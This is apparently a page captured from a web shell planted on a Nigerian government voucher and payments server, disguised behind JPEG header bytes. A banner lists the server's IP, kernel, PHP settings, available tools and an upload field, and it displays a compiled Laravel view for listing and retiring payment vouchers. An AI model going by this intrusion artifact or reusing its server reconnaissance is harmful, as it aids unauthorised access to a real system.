ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.149.238.173 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> <b>LIST OF ALL RAISED VOUCHERS </b> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div id="vim" class="modal fade"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">All comments</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12" id="z-space"> </div> </div> </div> </form> <div class="modal-footer"> <!--<button type="Submit" class="btn btn-success" id="putedit"></button>--> <button type="button" class="btn btn-info" data-dismiss="modal">Close</button> </div> </div> </div> </div> <div id="editModal" class="modal fade"> <div class="modal-dialog " role="document"> <div class="modal-content "> <div class="modal-header"> <h4 class="modal-title">Preview Voucher</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="editpartModal" name="editpartModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="col-sm-4 pull-left">Contract Type:</label> </div> <div class="col-sm-12"> <input type="text" value="" name="contracttype" id="contracttype" readonly class=" form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">Company</label> </div> <div class="col-sm-12"> <input type="text" value="" name="Company" readonly="" id="Company" readonly class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">PVNO</label> </div> <div class="col-sm-12"> <input type="text" value="" name="pvno" readonly="" id="pvno" readonly class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">Payment</label> </div> <div class="col-sm-12"> <input type="text" value="" name="payment" readonly="" id="payment" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">Payment Description</label> </div> <div class="col-sm-12"> <textarea name="payment_desc" id="payment_desc" class="form-control" > </textarea> </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">WHT Values</label> <label class="col-sm-4 pull-left">WHT Percentage</label> </div> <div class="col-sm-6"> <input type="text" value="" name="wht_val" id="wht_val" placeholder="" class="form-control" > </div> <div class="col-sm-6"> <input type="text" value="" name="wht_perc" id="wht_perc" placeholder="" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">Vat Values</label> <label class="col-sm-4 pull-left">Vat Percentage</label> </div> <div class="col-sm-6"> <input type="text" value="" name="vat_val" id="vat_val" placeholder="" class="form-control" > </div> <div class="col-sm-6"> <input type="text" value="" name="vat_perc" id="vat_perc" placeholder="" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">VATPayee</label> </div> <div class="col-sm-12"> <input type="text" value="" name="vatpayee" id="vatpayee" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left">WHTPayee</label> </div> <div class="col-sm-12"> <input type="text" value="" name="whtpayee" id="whtpayee" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> Amount Payable </label> </div> <div class="col-sm-12"> <input type="text" value="" name="amtpayable" id="amtpayable" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> Balance Brought Forward </label> </div> <div class="col-sm-12"> <input type="text" value="" readonly="" name="bbf" id="bbf" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> Prepared By </label> </div> <div class="col-sm-12"> <input type="text" value="" name="preparedby" id="prepareby" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> Liability By </label> </div> <div class="col-sm-12"> <input type="text" value="" name="liabilityby" id="liabilityby" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> allocationType </label> </div> <div class="col-sm-12"> <input type="text" value="" name="allocationtype" id="allocationtype" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> Economic Code </label> </div> <div class="col-sm-12"> <input type="text" value="" name="economiccode" id="economiccode" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="col-sm-4 pull-left"> Date Prepared </label> </div> <div class="col-sm-12"> <input type="text" value="" name="dateprepared" id="dateprepared" autocomplete="off" class="form-control" > </div> <input type="hidden" id="paymentTransID" name="paymentTransID" value=""> <input type="hidden" name="reason" id="reason" value=""> </div> </div> <div class="modal-footer"> <button type="Submit" onclick="return saveChanges()" class="btn btn-sm btn-success">Save Changes</button> <button type="button" class="btn btn-sm btn-secondary" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <!--comment modal--> <div id="CommentModal" class="modal fade"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Read the comment below</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="col-sm-4 pull-left">Reason for decline</label> </div> <div class="col-sm-12"> <textarea name="reason-c" id="reason-c" readonly class="form-control" > </textarea> </div> </div> </div> <div class="modal-footer"> <!--<button type="Submit" class="btn btn-success">Save</button>--> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <!--end of comment modal--> <div id="DeleteModal" class="modal fade"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Delete Variable</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="col-sm-9 control-label"><b>Are you sure you want to delete this record?</b></label> </div> <input type="hidden" id="deleteid" name="deleteid" value=""> </div> </div> <div class="modal-footer"> <button type="Submit" class="btn btn-success">Yes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button> </div> </form> </div> </div> </div> <div id="RestoreModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Restore Variable</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="col-sm-9 control-label"><b>Are you sure you want to restore this record?</b></label> </div> <input type="hidden" id="restoreid" name="restoreid" value=""> </div> </div> <div class="modal-footer"> <button type="Submit" class="btn btn-success">Yes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button> </div> </form> </div> </div> </div> <div class="box box-default"> <div class="box-body box-profile"> <div class="box-header with-border hidden-print"> <h3 class="box-title"> <?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3> </div> <div class="col-md-12"> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if($error != ""): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Error!</strong> <p><?php echo e($error); ?></p> </div> <?php endif; ?> <?php if($success != ""): ?> <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Success!</strong> <br /> <?php echo e($success); ?></div> <?php endif; ?> <?php if(session('err')): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Input Error!</strong> <br /> <?php echo e(session('err')); ?></div> <?php endif; ?> </div> <div class="box-body"> <div class="row"> <div class="col-md-12"><!--1st col--> <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <!-- /.row --> <div class="row"> <?php echo e(csrf_field()); ?> <!-- /.col --> </div> <!--Search by voucher number--> <div class="row"> <form method="post" action="<?php echo e(url('/voucher/check')); ?>"> <?php echo e(csrf_field()); ?> <div class="col-md-4"> <div class="form-group"> <label >Search By Voucher's ID<span class="text-danger"></label> <input type="text" name="vourcherid" class="form-control" value="<?php echo e($vourcherid); ?>" placeholder="Enter multiple Voucher IDs E.g 234, 587, 100, 4904" onkeyup="if (/\D/g.test(this.value)) this.value = this.value.replace(/\D/g,',')"> <span class="text-uppercase text-success"><b><?php echo e(($numberRecordReturned ? $numberRecordReturned : '')); ?></b></span> </div> </div> <div class="col-md-1"> <div class="form-group"> <label> </label><br /> <button type="submit" class="btn btn-success" name="reload"><i class="fa fa-search"></i> Search</button> </div> </div> <input type="hidden" name="startDate" /> <input type="hidden" name="endDate" /> <input type="hidden" name="searchDate" /> </form> <div class="col-md-1"> </div> <!--Search by Date Range--> <form method="post" action="<?php echo e(url('/voucher/check')); ?>"> <?php echo e(csrf_field()); ?> <div class="col-md-4"> <div class="form-group"> <label >Search By Date Range<span class="text-danger"></label> <div id="reportrange" style="background: #fff; cursor: pointer; padding: 5px 10px; border: 1px solid #ccc; width: 100%"> <i class="fa fa-calendar"></i> <span></span> <i class="fa fa-caret-down"></i> <input type="hidden" name="startDate" id="startDate" /> <input type="hidden" name="endDate" id="endDate" /> <input type="hidden" name="searchDate" id="searchDate" /> </div> <span class="text-uppercase text-success"><b><?php echo e(($dateReturned ? $dateReturned : '')); ?></b></span> </div> </div> <div class="col-md-1"> <div class="form-group"> <label> </label><br /> <button type="submit" class="btn btn-success" value="searchByDate" name="reload"><i class="fa fa-search"></i> Search</button> </div> </div> </form> </div> <div class="table-responsive col-md-12" style="font-size: 12px; padding:5px;"> <table id="res_tab" class="table table-bordered table-striped table-highlight" > <thead> <tr bgcolor="#c7c7c7"> <th>SN</th> <th>Action</th> <th>VoucherID</th> <th>Beneficiary</th> <!--<th>PVNO</th>--> <th>E-Code</th> <th>Total Amount</th> <!--<th>Amount Payable</th>--> <!--<th>Contract Description</th>--> <th>Payment Description</th> <th>Status</th> <!--<th>Date Awarded</th>--> <th>Date Created</th> <th>Voucher Type</th> </tr> </thead> <?php $i = 1; ?> <tbody> <?php if($tablecontent): ?> <?php $__currentLoopData = $tablecontent; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td><?php echo e(($tablecontent->currentpage()-1) * $tablecontent->perpage() + 1+$key ++); ?></td> <td> <div class="dropdown"> <button class="btn btn-info btn-xs dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> Actions... <span class="caret"></span> </button> <ul class="dropdown-menu" aria-labelledby="dropdownMenu1"> <?php if($list->accept_voucher_status <= 0): ?> <li><a href="edit/<?php echo e($list->ID); ?>" style="color:purple">Edit</a></li> <li><a data-toggle="modal" data-target="#deleteVoucher<?php echo e($list->transID); ?>" href="javascript:;" style="color:red">Delete</a></li> <?php endif; ?> <li><a href="<?php echo e(url('/display/voucher/' . $list->ID )); ?>" style="color:green"><b>Print Voucher</b></a></li> <li><a href="javascript:;" class="getVoucherParatement" data-toggle="modal" id="<?php echo e($list->transID); ?>" data-target="#copyVoucher" style="color:blue"><b>Copy Voucher</b></a></li> <?php $path = base_path('../'). env('UPLOAD_PATH', '') .'/' . $list->conID.'.'.$list->file_ex; ?> <!--<?php if(file_exists($path)): ?> <li><a href="/pro/file/<?php echo e($list->conID.'.'.$list->file_ex); ?>" target="blank" >Download File</a></li> <?php endif; ?>--> <?php if($list->retire_voucher == 1): ?> <?php if($list->mandate_status == 1 || $list->mandate_status == 0): ?> <?php if($list->retired == 1): ?> <li><a href="<?php echo e(url('/display/retire/voucher/' . $list->ID )); ?>" style="color:blue"> Print Retired V. </a></li> <?php else: ?> <li><a href="javascript:;" style="color:green" data-toggle="modal" data-target="#retiredThisVoucher<?php echo e($list->transID); ?>"> Retire Now </a></li> <?php endif; ?> <?php else: ?> <li class="text-danger"><a href="javascript:;" style="color:red"> Retire Voucher </a></li> <?php endif; ?> <?php endif; ?> <!--<li><a onclick="return comments('<?php echo e(trim($list->comment)); ?>')" href="#">View Comment</a></li>--> <!--<li><a href="#">Separated link</a></li> --> </ul> </div> </td> <td><b><?php echo e($list->transID.'-'.$departmentName); ?></b></td> <td><?php echo e($list->beneficiaryName); ?></td> <!--<td><?php echo e($list->PVNO); ?></td>--> <td><?php echo e($list->economicCode); ?></td> <td><?php echo e((($list->totalPayment > 0 and is_numeric($list->amtPayable)) ? number_format($list->totalPayment, 2) : $list->amtPayable)); ?></td> <!--<td><?php echo e((($list->amtPayable > 0 and is_numeric($list->amtPayable)) ? number_format($list->amtPayable, 2) : $list->amtPayable)); ?></td>--> <!--<td><?php echo e(substr($list->ContractDescriptions, 0, 80)); ?> ...</td>--> <td><?php echo e(substr($list->paymentDescription, 0, 80)); ?> ...</td> <td> <?php if($list->status == 0 and ($list->accept_voucher_status == 0)): ?> <?php if($list->liabilityStatus == 2 ): ?> <span class="text-danger">Declined</span> <?php elseif($list->liabilityStatus == 1): ?> <span class="text-success">Approved by Liability Taker</span> <?php else: ?> <span class="text-danger">Pending</span> <?php endif; ?> <?php elseif($list->status == 1 or ($list->accept_voucher_status == 1)): ?> <span class="text-success">Accepted</span> <?php elseif($list->status == 2): ?> <span class="text-info">Booked</span> <?php elseif($list->status == 3): ?> <span class="text-warning">Rejected</span> <?php elseif($list->status == 4): ?> <span class="text-primary">Committed</span> <?php elseif($list->status == 5): ?> <span class="text-Info">Completed</span> <?php elseif($list->status = 6): ?> <span class="text-success">Paid</span> <?php endif; ?> </td> <!--<td><?php echo e($list->dateAward); ?></td>--> <td><?php echo e($list->dateCreated); ?></td> <td> <?php echo e($list->voucherType); ?> </td> </tr> <!--Modal Delete--> <div class="modal fade" id="deleteVoucher<?php echo e($list->transID); ?>" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header" style="background: black; color: white; border: 1px solid white;"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button> <h4 class="modal-title">DELETE VOUCHER</h4> </div> <div class="modal-body col-sm-12" style="padding: 10px;"> <div> <div align="center" style="color:red; font-size:14px;"> <span><big>Are you sure you want to delete this voucher permanently?</big></span> </div> </div> </div> <div class="modal-footer"> <a href="<?php echo e(url('/recurrent/softdelete-voucher/'. $list->transID)); ?>" class="btn btn-default"> <i class="fa fa-trash"></i> Delete Now </a> <button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> <!-- //Modal Delete --> <!--Modal Retire--> <form id="submitRetireVoucher<?php echo e($list->transID); ?>" method="post" action="<?php echo e(route('retireNow')); ?>"> <?php echo e(csrf_field()); ?> <div class="modal fade" id="retiredThisVoucher<?php echo e($list->transID); ?>" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header" style="background: black; color: white; border: 1px solid white;"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button> <h4 class="modal-title">RETIRE THIS VOUCHER</h4> </div> <div class="modal-body" style="padding: 10px;"> <div class="col-sm-12 text-success" align="center"> <span><big>You are about to retire this voucher !</big></span> <div><b><?php echo e($list->beneficiaryName); ?></b></div> <hr /> </div> <div class="col-sm-12" style="color:black; font-size:14px;"> <div> <label name="description">Payment Description</label> <textarea for="description" id="description<?php echo e($list->transID); ?>" name="paymentDescription" class="form-control"><?php echo e("Being full retirement of non personal advance granted to the above named officer which was expended for the payment of courier service for the Month of " . date('F, Y')); ?></textarea> </div> <div class="row"> <div class="col-sm-5"> <label>Amount</label> <input type="text" name="amount" id="amount<?php echo e($list->transID); ?>" value="<?php echo e((($list->totalPayment > 0 and is_numeric($list->amtPayable)) ? ($list->totalPayment) : $list->amtPayable)); ?>" class="form-control" /> </div> <div class="col-sm-7"> <label>Date</label> <input type="date" onKeyDown="return false;" name="dateRetired" id="dateValue<?php echo e($list->transID); ?>" class="form-control" /> </div> </div> </div> </div> <div class="modal-footer"> <div class="col-md-12"> <hr /> <button type="submit" id="<?php echo e($list->transID); ?>" class="btn btn-default mt-2 btnSubmitRetire"> <i class="fa fa-file"></i> Retire Now </button> <input type="text" style="display:none" name="voucherID" value="<?php echo e($list->transID); ?>" /> <button type="button" class="btn btn-default mt-2" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> </div> </form> <!-- //Modal Retire --> <!--Copy Voucher--> <input type="text" style="display:none" value="<?php echo e($list->beneficiaryName); ?>" id="beneficiarynameRaw<?php echo e($list->transID); ?>" /> <input type="text" style="display:none" value="<?php echo e($list->paymentDescription); ?>" id="paymentDescriptionRaw<?php echo e($list->transID); ?>" /> <input type="text" style="display:none" value="<?php echo e($list->amtPayable); ?>" id="amountRaw<?php echo e($list->transID); ?>" /> <input type="text" style="display:none" value="<?php echo e($list->economicCodeID); ?>" id="economicCodeIDRaw<?php echo e($list->transID); ?>" /> <!--end copy voucher--> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php else: ?> <tr> <td colspan="100%"> <center>No Voucher Raised</center> </td> </tr> <?php endif; ?> </tbody> </table> <hr /> <div align="right"> <?php if($tablecontent->hasPages()): ?> Showing <?php echo e(($tablecontent->currentpage()-1)*$tablecontent->perpage()+1); ?> to <?php echo e($tablecontent->currentpage()*$tablecontent->perpage()); ?> of <?php echo e($tablecontent->total()); ?> entries </div> <div class="hidden-print"><?php echo e($tablecontent->links()); ?></div> <?php endif; ?> <br><br><br><br><br> </div> <input type="hidden" value="" id="co" name="court"> <input type="hidden" value="" id="di" name="division"> <input type="hidden" value="" name="status"> <input type="hidden" value="" name="chosen" id="chosen"> <input type="hidden" value="" id="type" name="type"> <hr /> </div> </div> </div> <!--Modal Copy Voucher--> <form name="copyForm" id="submitCopyForm" method="post" action="<?php echo e(url('/copy-voucher')); ?>"> <?php echo e(csrf_field()); ?> <div class="modal fade" id="copyVoucher" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header" style="background: black; color: white; border: 1px solid white;"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button> <h4 class="modal-title">COPY VOUCHER</h4> </div> <div class="modal-body" style="padding: 10px;"> <div class="col-sm-12 text-success" align="center"> <span><big>You are about to copy this voucher !</big></span> <div><b><span id="beneficiaryname"></span></b></div> <br /> </div> <div class="col-sm-12" style="color:black; font-size:14px;"> <div align="left"> <label name="description">Select Economic Code</label> <select name="economicCode" id="economicCode" class="form-control" required> <option value="">-----------SELECT------------</option> <?php $__currentLoopData = $economicCode; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $ecode): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e(($ecode ? $ecode->economicID : '')); ?>"><?php echo e(($ecode ? $ecode->economicCode .' - '. $ecode->economicName : '' )); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="mt-3"> <label name="description">Payment Description</label> <textarea for="description" name="paymentDescription" id="paymentDescription" required class="form-control"></textarea> </div> <div class="row"> <div class="col-sm-5 mt-3"> <label>Amount</label> <input type="text" name="amount" id="amount" class="form-control" /> </div> <div class="col-sm-7 mt-3"> <label>Voucher Date</label> <input type="date" onKeyDown="return false;" name="voucherDate" required class="form-control" /> </div> </div> </div> </div> <div class="modal-footer"> <div class="col-md-12"> <hr /> <input type="submit" value="Copy Now" class="btn btn-info mt-2" /> <input type="text" style="display:none" name="voucherName" id="voucherID" /> <button type="button" class="btn btn-default mt-2" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> </div> </form> <!-- //Modal Copy Voucher --> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <style type="text/css"> .modal-dialog { width:13cm } .modal-header { background-color: #006600; color:#FFF; } #partStatus{ width:2.5cm } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <!--<script type="text/javascript" src="https://cdn.jsdelivr.net/jquery/latest/jquery.min.js"></script>--> <script type="text/javascript" src="https://cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css" /> <script type="text/javascript"> //Date Picker Range $(function() { var start = moment().subtract(29, 'days'); var end = moment(); function cb(start, end) { $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY')); $('#startDate').val(start.format('YYYY-MM-D')); $('#endDate').val(end.format('YYYY-MM-D')); $('#searchDate').val(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY')); } $('#reportrange').daterangepicker({ startDate: start, endDate: end, ranges: { 'Today': [moment(), moment()], 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')], 'Last 7 Days': [moment().subtract(6, 'days'), moment()], 'Last 30 Days': [moment().subtract(29, 'days'), moment()], 'This Month': [moment().startOf('month'), moment().endOf('month')], 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')] } }, cb); cb(start, end); }); //Date Picker Range //Submit Copy Form $(document).ready(function() { $(".getVoucherParatement").click(function () { var getVoucherID = this.id; $("#voucherID").val(getVoucherID); $("#beneficiaryname").html($("#beneficiarynameRaw" + getVoucherID).val()); $("#paymentDescription").val($("#paymentDescriptionRaw" + getVoucherID).val()); $("#amount").val($("#amountRaw" + getVoucherID).val()); }); }); // //Submit Retire Form $(document).ready(function() { $(".btnSubmitRetire").click(function () { var getRetireID = this.id; var dateValue = $('#dateValue'+getRetireID).val(); var amount = $('#amount'+getRetireID).val(); var description = $('#description'+getRetireID).val(); if(dateValue == ''){ alert('Please select Date'); return false; } if(amount == ''){ alert('Please enter Amount'); return false; } if(description == ''){ alert('Please enter payment description'); return false; } $.ajax({ url: murl +'/retire-voucher', type: "post", data: {'voucherID': getRetireID, 'dateRetired': dateValue, 'amount': amount, 'paymentDescription': description, '_token': $('input[name=_token]').val()}, success: function(data){ location.reload(); } }) }); }); // </script> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script> $('#res_tab').DataTable({ "paging": false // false to disable pagination (or any other option) }); $( function(){ $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); }); $( function(){ $("#dateawd").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); }); $("#check-all").change(function(){ $(".checkitem").prop("checked", $(this).prop("checked")) }) $(".checkitem").change(function(){ if($(this).prop("checked") == false){ $("#check-all").prop("checked", false) } if($(".checkitem:checked").length == $(".checkitem").length){ $("#check-all").prop("checked", true) } }) function approve(a = '') { if(a !== ''){ document.getElementById('chosen').value = a; // alert(a); } co = document.getElementById('court').value; div = document.getElementById('division').value; document.getElementById('co').value = co; document.getElementById('di').value = div; document.getElementById('type').value = 1; document.getElementById('form2').submit(); return false; } function reject(a = ''){ if(a !== ''){ document.getElementById('chosen').value = a; //alert(a); } co = document.getElementById('court').value; div = document.getElementById('division').value; document.getElementById('co').value = co; document.getElementById('di').value = div; document.getElementById('type').value = 2; document.getElementById('form2').submit(); return false; } function comments(list){ if(list == ""){ space = document.getElementById('z-space'); space.innerText = 'No reason found'; } else { var a = JSON.parse(list); //console.log(a); space = document.getElementById('z-space'); space.innerHTML = ''; for(i = 0; i < a.length; i++){ space.innerHTML += '<p><b id="vi">'+ a[i].comment +'</b> - <small class="text-warning"> <i>'+a[i].name+', posted '+ a[i].date_added+' at '+ a[i].time +'</i></small></p><br>'; } //$('#vim').modal('show'); } $("#vim").modal('show'); return false; } function delet(a = ''){ if(confirm('Are you sure you want to delete this record!')){ if(a !== ''){ document.getElementById('chosen').value = a; //alert(a); } co = document.getElementById('court').value; div = document.getElementById('division').value; document.getElementById('co').value = co; document.getElementById('di').value = div; document.getElementById('type').value = 3; document.getElementById('form2').submit(); } return false; } function editfunc(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q) { document.getElementById('contracttype').value = a; document.getElementById('Company').value = b; document.getElementById('pvno').value = c; document.getElementById('payment').value = d; document.getElementById('payment_desc').value = e; document.getElementById('wht_val').value = f; document.getElementById('wht_perc').value = g; document.getElementById('vat_val').value = h; document.getElementById('vat_perc').value = i; document.getElementById('amtpayable').value = j; document.getElementById('prepareby').value = k; document.getElementById('liabilityby').value = l; document.getElementById('allocationtype').value = m; document.getElementById('economiccode').value = n; document.getElementById('dateprepared').value = o; document.getElementById('bbf').value = q; document.getElementById('paymentTransID').value = p; // document.getElementById('dateawd').value = g; $("#editModal").modal('show') } function accept(a = ""){ var form = document.getElementById('editpartModal'); if(a != ""){ document.getElementById('paymentTransID').value = a } document.getElementById('reason').value = 1; form.submit(); return false; } function decline(a = ""){ var form = document.getElementById('editpartModal'); if(a != ""){ document.getElementById('paymentTransID').value = a } document.getElementById('reason').value = 2; form.submit(); return false; } function deletefunc(x){ //$('#deleteid').val() = x; document.getElementById('deleteid').value = x; $("#DeleteModal").modal('show'); } function restorefunc(x){ document.getElementById('restoreid').value = x; $("#RestoreModal").modal('show'); } function getDivisions() { document.getElementById('status').value = ""; if($('#court').val() !== "") { $('#form1').submit(); } } function getStaff() { document.getElementById('status').value = ""; if($('#division').val() !== ""){ $('#form1').submit(); } } function getTable() { if($('#status' ).val() !== ""){ $('#form1').submit(); } } function checkForm() { var court = $('#court').val(); division = $('#division').val(); fileno = $('#fileNo').val(); fname = $('#fname').val(); oname = $('#oname').val(); sname = $('#sname').val(); desc = $('#cvdesc').val(); amount = $('#amount').val(); if(court == ""){ alert('You have empty fields!'); } else { if(division == ""){ alert('You have empty fields'); } else { if(fileno == ""){ alert('you have empty fields!'); } else { if(fname == ""){ alert('you have empty fields!'); } else { if(oname == ""){ alert('you have empty fields'); } else { if(sname == ""){ alert('you have empty fields!'); } else { if(desc == ""){ alert('you have empty fields!'); } else { if(amount == ""){ alert('you have empty fields!'); } else { $('#form1').submit(); } } } } } } } } return false; } </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/resources/views/Liability/check.blade.php ENDPATH**/ ?>